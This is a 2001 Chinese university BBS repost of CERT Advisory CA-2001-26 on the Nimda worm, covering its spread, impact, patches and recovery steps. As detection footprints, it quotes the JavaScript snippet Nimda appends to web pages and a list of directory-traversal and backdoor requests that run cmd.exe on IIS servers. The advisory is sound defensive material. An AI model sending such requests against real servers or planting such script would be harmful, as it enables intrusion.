● 新病毒(ZZ) - 荔园在线 | 深圳大学学生论坛,荔园晨风BBS,深大在线网站

荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀

发信人: netlife (灌醉自己), 信区: Newsoftware
标  题: 新病毒(ZZ)
发信站: 荔园晨风BBS站 (Thu Sep 20 07:49:59 2001), 转信

寄信人: peach (呆呆)
标  题: 新病毒
发信站: BBS 水木清华站 (Wed Sep 19 14:19:22 2001)
来  源: 166.111.172.127

【以下文字转载自 peach 的信箱】
寄信人: monsieur (沧海横流)
标  题: 没主题
发信站: BBS 水木清华站 (Wed Sep 19 14:15:17 2001)
来  源: 202.112.50.8

CERT Advisory CA-2001-26 Nimda Worm

   Original release date: September 18, 2001
   Source: CERT/CC

   A complete revision history is at the end of this file.

Systems Affected

     * Systems running Microsoft Windows 95, 98, ME, NT, and 2000
     * Systems running Microsoft Windows 95, 98, ME, NT, and 2000

Overview

   The  CERT/CC  has  received reports of new malicious code known as
the
   "W32/Nimda  worm"  or  the  "Concept  Virus  (CV)  v.5." This new
worm
   appears to spread by multiple mechanisms:

     * from client to client via email

     * from client to client via open network shares

     * from web server to client via browsing of compromised web sites

     * from client to web server via active scanning for and
exploitation
       of the "Microsoft IIS 4.0 / 5.0 directory traversal"
vulnerability
       (VU #111677)

     * from  client  to  web  server via scanning for the back doors
left
    * from  client  to  web  server via scanning for the back doors
left
       behind  by  the  "Code  Red  II"  (IN-2001-09),  and
"sadmind/IIS"
       (CA-2001-11) worms

   Initial  analysis  indicates  that  the  worm  contains no
destructive
   payload  beyond  modification  of  web  content  to facilitate its
own
   propagation.

   We  are  also  receiving  reports  of denial of service as a result
of
   network scanning and email propagation.

I. Description

   The  Nimda  worm  has  the  potential to affect both user
workstations
   (clients)  running Windows 95, 98, ME, NT, or 2000 and servers
running
   Windows NT and 2000.

   Email Propagation

   This    worm   propagates   through   email   arriving   as   a
MIME
   "multipart/alternative"  message consisting of two sections. The
first
   section  is defined as MIME type "text/html", but it contains no
text,
   so the email appears to have no content. The second section is
defined
   as   MIME   type  "audio/x-wav",  but  it  contains  a
base64-encoded
   attachment named "readme.exe", which is a binary executable.

   Due to a vulnerability described in CA-2001-06 (Automatic Execution
of
   Embedded  MIME  Types),  any  mail software running on an x86
platform
   that  uses  Microsoft  Internet Explorer 5.5 SP1 or earlier (except
IE
   5.01  SP2)  to  render  the  HTML mail automatically runs the
enclosed
   attachment and, as result, infects the machine with the worm. Thus,
in
   vulnerable  configurations,  the  worm  payload  will automatically
be
   triggered  by  simply opening (or previewing) this mail message. As
an
   executable binary, the payload can also be triggered by simply
running
   the attachment.

   the attachment.

   The  email  message delivering the Nimda worm appears to also have
the
   following characteristics:

     * The  text  in  the  subject line of the mail message appears to
be
       variable,  but  those  seen  to  date have been over 80
characters
       long.

     * There  appear  to  be  many slight variations in the attach
binary
       file,  causing  the MD5 checksum to be different when one
compares
       different  attachments from different email messages. However,
the
       file  length  of  the  attachment appears to consistently be
57344
       bytes.

   Payload

   Infected  client machines attempt to send copies of the Nimda worm
via
   email to all addresses found in the Windows address book.

   Likewise,  the  client  machines  begin  scanning  for  vulnerable
IIS
   servers.  Nimda  looks  for backdoors left by previous IIS worms:
Code
   Red  II  [IN-2001-09]  and  sadmind/IIS  worm  [CA-2001-11].  It
also
   attempts  to  exploit  the  IIS  Directory Traversal vulnerability
(VU
   #111677). The selection of potential target IP addresses follows
these
   rough probabilities:

     * 50% of the time, an address with the same first two octets will
be
       chosen

     * 25%  of  the  time,  an  address with the same first octet will
be
       chosen

     * 25% of the time, a random address will be chosen
  The  infected client machine transfers a copy of the Nimda code to
any
   server  that  it scans and finds to be vulnerable. Once running on
the
   server  machine,  the  worm  traverses  each  directory  in the
system
   (including  all  those  accessible  through a file shares) and
write a
   copy  of  itself to disk using the name "README.EML". When a
directory
   containing  web  content  (e.g.,  HTML  or  ASP  files)  is found,
the
   following snippet of Javascript code is appended to every one of
these
   web-related files:

   <DEFANGED_script language="JavaScript">
   window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
   </script>

   This  modification  of  web  content allows further propagation of
the
   worm  to  new  clients through a browser or browsing of a network
file
   system.
  Browser Propagation

   As  part  of  the  infection  process, the Nimda worm modifies all
web
   content  files  it  finds  (including,  but not limited to, files
with
   .htm,  .html, and .asp extensions). As a result, any user browsing
web
   content  on  the  system,  whether  via  the  file system or via a
web
   server,   may   download  a  copy  of  the  worm.  Some  browsers
may
   automatically  execute  the  downloaded  copy,  thereby  infecting
the
   browsing system.

   File System Propagation

   The  Nimda  worm  creates  numerous  copies  of itself (using the
name
   README.EML)  in  all  writable directories (including those found
on a
   network  share)  to  which  the  user has access. If a user on
another
   system  subsequently  selects  the copy of the worm file on the
shared
   network drive in Windows Explorer with the preview option enabled,
the
   network drive in Windows Explorer with the preview option enabled,
the
   worm may be able to compromise that system.

   System FootPrint

   The  scanning  activity  of  the Nimda worm produces the following
log
   entries for any web server listing on port 80/tcp:

   GET /scripts/root.exe?/c+dir
   GET /MSADC/root.exe?/c+dir
   GET /c/winnt/system32/cmd.exe?/c+dir
   GET /d/winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
   GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
   GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
   GET
/msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c..
/winnt/system
32/cmd.exe?/c+dir
  GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir

   Note:  The  first four entries in these sample logs denote attempts
to
   connect  to  the backdoor left by Code Red II, while the remaining
log
   entries  are  examples of exploit attempts for the Directory
Traversal
   vulnerability.

II. Impact

   Intruders  can  execute  arbitrary  commands  within  the
LocalSystem
  security  context  on  machines running the unpatched versions of
IIS.
   Host  that have been compromised are also at high risk for being
party
   to attacks on other Internet sites.

   The  high  scanning  rate  of  the Nimda worm may also cause
bandwidth
   denial-of-service conditions on networks with infected machines.

III. Solutions

   Recommendations for System Administrators of IIS machines

   To  determine  if  your  system  has  been  compromised,  look for
the
   following:

     * root.exe  artifact  (indicates  a  compromise  by  Code  Red II
or
       sadmind/IIS worms making the system vulnerable to the Nimda
worm)

     * admin.dll  artifact  or  unexpected  .eml files in the
directories
       with web content (indicates compromise by the Nimda worm)

   The  only  safe way to recover from the system compromise is to
format
   the  system  drive(s)  and  reinstall the system software from
trusted
   media  (such  as  vendor-supplied  CD-ROM).  Additionally,  after
the
   software  is reinstalled, all vendor-supplied security patches must
be
   applied.  The  recommended  time to do this is while the system is
not
   connected  to  any  network.  However,  if sufficient care is taken
to
   disable   all  server  network  services,  then  the  patches  can
be
   downloaded from the Internet.

   Detailed  instructions  for recovering your system can be found in
the
   CERT/CC tech tip:

          Steps for Recovering from a UNIX or NT System Compromise
          http://www.cert.org/tech_tips/win-UNIX-system_compromise.
html

          Steps for Recovering from a UNIX or NT System Compromise
          http://www.cert.org/tech_tips/win-UNIX-system_compromise.
html

   Apply the appropriate patch from your vendor

   A   cumulative   patch   which   addresses   all  of  the
IIS-related
   vulnerabilities   exploited  by  the  Nimda  worm  is  available
from
   Microsoft at

          http://www.microsoft.com/technet/security/bulletin/MS01-044.
asp

   Recommendations for End User Systems

   Apply the appropriate patch from your vendor

   If you are running a vulnerable version of Internet Explorer (IE),
the
   CERT/CC  recommends  applying  patch  for  the "Automatic Execution
of
   Embedded MIME Types" vulnerability available from Microsoft at
          http://www.microsoft.com/technet/security/bulletin/MS01-020.
asp

   Run and Maintain an Anti-Virus Product

   It  is  important  for users to update their anti-virus software.
Most
   anti-virus  software vendors have released updated information,
tools,
   or  virus  databases  to  help  detect and partially recover from
this
   malicious  code.  A list of vendor-specific anti-virus information
can
   be found in Appendix A.

   Many   anti-virus   packages   support   automatic  updates  of
virus
   definitions.   We   recommend   using  these  automatic  updates
when
   available.

   Don't open e-mail attachments

   The  Nimda  worm may arrive as an email attachment named "readme.
exe".

   Users should not open this attachment.

   Disable  JavaScript  End-user  systems  can become infected with
the
   Nimda  worm  by  browsing  web  sites hosted by infected servers.
This
   method  of  infection requires the use of JavaScript to be
successful.
   Therefore,  the  CERT/CC  recommends  that  end  user  systems
disable
   JavaScript.

Appendix A. Vendor Information

   Antivirus Vendor Information

   Central Command, Inc.

          http://support.centralcommand.com/cgi-bin/command.
cfg/php/endus
          er/std_adp.php?p_refno=010918-000005

   Command Software Systems

          http://www.commandsoftware.com/virus/nimda.html

   Data Fellows Corp

          http://www.datafellows.com/v-descs/nimda.shtml

   McAfee

          http://vil.mcafee.com/dispVirus.asp?virus_k=99209&

   Sophos

          http://www.sophos.com/virusinfo/analyses/w32nimdaa.html

   Symantec

          http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.
html

   Trend Micro
          http://www.antivirus.com/vinfo/virusencyclo/default5.
asp?VName=
          TROJ_NIMDA.A

          http://www.antivirus.
com/pc-cillin/vinfo/virusencyclo/default5.
          asp?VName=TROJ_NIMDA.A

   You  may  wish  to  visit  the CERT/CC's computer virus resources
page
   located at

     http://www.cert.org/other_sources/viruses.html

--
                       Wellcome to http://192.168.48.13
                        Wellcome to ftp://192.168.48.13
                      　　　　　提供光盘刻录服务
                -----------------------------------------------
                     数据光盘  音乐光盘  视频光盘  光盘复制
                  *[=M☆别人笑我太疯颠，我笑他人看不穿☆*[=S

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.48.13]

荔园在线首页友情链接：深圳大学深大招生荔园晨风BBS S-Term软件网络书店